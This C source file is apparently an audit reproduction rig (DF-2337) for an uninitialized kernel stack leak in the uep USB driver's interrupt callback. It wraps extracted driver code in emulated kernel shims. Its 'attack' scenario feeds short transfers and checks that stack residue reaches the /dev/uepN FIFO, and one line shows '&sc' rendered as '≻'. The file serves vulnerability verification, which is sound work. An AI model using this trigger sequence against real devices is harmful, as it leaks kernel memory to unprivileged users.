DF-2337 / uep_rig.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 | /* * uep_rig.c -- driver for the VERBATIM uep_intr_callback() reassembly * rig (DF-2337). * * build.sh machine-extracts from /usr/src (sha256-gated): * uep_core.inc : uep.c lines 121-293 (get_pkt_len, uep_process_pkt, * uep_intr_callback) + uep.c:388-393 (uep_put_queue) * uep_defs.inc : uep.c defines + struct uep_softc (lines 55-98) * * The kernel environment is emulated: * - usbd_copy_out(pc, 0, buf, len): copies exactly `len` scenario bytes * into the callback's stack buf[17]; bytes [len..16] keep whatever the * "kernel stack" held -- the rig pre-poisons that stack region with * 0xA5 via a dirtier function called immediately before. * - usb_fifo_put_data_linear(): records the 5 bytes pushed toward the * user-visible /dev/uepN FIFO. * * Trigger (finding text): transfer 1 delivers 1 byte 0x80 (REPORT header) * -> sc->buf_len=1. Transfer 2 delivers 1 byte: res = 5-1 = 4, and * memcpy(sc->buf+1, buf, 4) reads buf[1..3] which the device NEVER sent -> * 3 uninitialized kernel-stack bytes land in sc->buf[2..4] and are pushed * to the FIFO. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #define kprintf printf #define DPRINTF(...) do { } while (0) #define DPRINTFN(n, ...) do { } while (0) #define KKASSERT(x) do { if (!(x)) abort(); } while (0) /* ---------------- kernel environment shims --------------------------- */ struct usb_fifo_sc { void *fp[2]; }; struct usb_xfer { int dummy; }; struct usb_page_cache { int dummy; }; struct lock { int x; }; #define USB_FIFO_RX 0 #define USB_ST_SETUP 1 #define USB_ST_TRANSFERRED 2 #define USB_ERR_CANCELLED (-1) #define UE_DIR_IN 0x80 #define UE_ADDR_ANY 0 static int usb_fifo_put_bytes_max(struct usb_fifo_sc *f) { (void)f; return 1; } static uint8_t fifo_log[4096]; static int fifo_len; static void usb_fifo_put_data_linear(struct usb_fifo_sc *f, uint8_t *buf, uint16_t len, int what) { (void)f; (void)what; if (fifo_len + len < (int)sizeof(fifo_log)) { memcpy(fifo_log + fifo_len, buf, len); fifo_len += len; } } /* scenario transfer state */ static uint8_t xfer_data[64]; static int xfer_len; static void usbd_xfer_status(struct usb_xfer *x, int *a, void *b, void *c, void *d) { (void)x; (void)b; (void)c; (void)d; *a = xfer_len; } static int USB_GET_STATE_(struct usb_xfer *x) { (void)x; return USB_ST_TRANSFERRED; } #define USB_GET_STATE(x) USB_GET_STATE_((x)) static struct usb_page_cache *usbd_xfer_get_frame(struct usb_xfer *x, int f) { (void)x; (void)f; return (struct usb_page_cache *)1; } static void usbd_copy_out(struct usb_page_cache *pc, uint16_t off, uint8_t *buf, uint16_t len) { (void)pc; (void)off; /* EXACTLY len bytes: the rest of buf[17] stays poisoned -- this is * the production semantics (short transfer) */ memcpy(buf, xfer_data, len); } static void usbd_xfer_set_frame_len(struct usb_xfer *x, int f, uint16_t l) { (void)x; (void)f; (void)l; } static uint16_t usbd_xfer_max_len(struct usb_xfer *x) { (void)x; return 17; } static void usbd_transfer_submit(struct usb_xfer *x) { (void)x; } static void usbd_xfer_set_stall(struct usb_xfer *x) { (void)x; } static struct uep_softc *usbd_xfer_softc_fake; static struct uep_softc *usbd_xfer_softc(struct usb_xfer *x) { (void)x; return usbd_xfer_softc_fake; } /* ---------------- VERBATIM production code ---------------------------- */ #include "uep_defs.inc" typedef int usb_error_t; static void uep_put_queue(struct uep_softc *, u_char *); #include "uep_core.inc" /* ---------------- stack poisoning ------------------------------------- */ #define POISON 0xA5 static void __attribute__((noinline)) stack_dirtier(void) { volatile uint8_t pad[512]; int i; for (i = 0; i < (int)sizeof(pad); i++) pad[i] = POISON; } static void __attribute__((noinline)) run_callback(void) { uep_intr_callback((struct usb_xfer *)1, 0); } /* ---------------- driver ---------------------------------------------- */ static struct uep_softc sc; static void one_transfer(uint8_t *bytes, int len) { xfer_data[0] = 0; if (len > 0) memcpy(xfer_data, bytes, len); xfer_len = len; stack_dirtier(); /* kernel-stack residue = 0xA5 */ run_callback(); } static void report(const char *tag) { int i; printf("[%s] fifo bytes (%d):", tag, fifo_len); for (i = 0; i < fifo_len; i++) printf(" %02x", fifo_log[i]); printf("\n"); } int main(int argc, char **argv) { const char *scen = argc == 2 ? argv[1] : ""; uint8_t b; memset(&sc, 0, sizeof(sc)); usbd_xfer_softc_fake = ≻ if (strcmp(scen, "attack") == 0) { b = 0x80; one_transfer(&b, 1); /* 1 byte: 0x80 */ b = 0x55; one_transfer(&b, 1); /* 1 byte: 0x55 */ report("attack"); printf("[attack] FIFO should be: 80 55 A5 A5 A5 -- bytes " "[2..4] are kernel-stack residue the device never sent " "(leaked to userspace via /dev/uepN read)\n"); return (fifo_len == 5 && fifo_log[0] == 0x80 && fifo_log[1] == 0x55 && fifo_log[2] == POISON && fifo_log[3] == POISON && fifo_log[4] == POISON) ? 0 : 1; } if (strcmp(scen, "control") == 0) { uint8_t full[5] = { 0x80, 0x11, 0x22, 0x33, 0x44 }; sc.buf_len = 0; one_transfer(full, 5); report("control"); printf("[control] full 5-byte transfer: all FIFO bytes " "device-supplied\n"); return (fifo_len == 5 && fifo_log[2] == 0x22) ? 0 : 1; } fprintf(stderr, "usage: %s attack|control\n", argv[0]); return 2; } |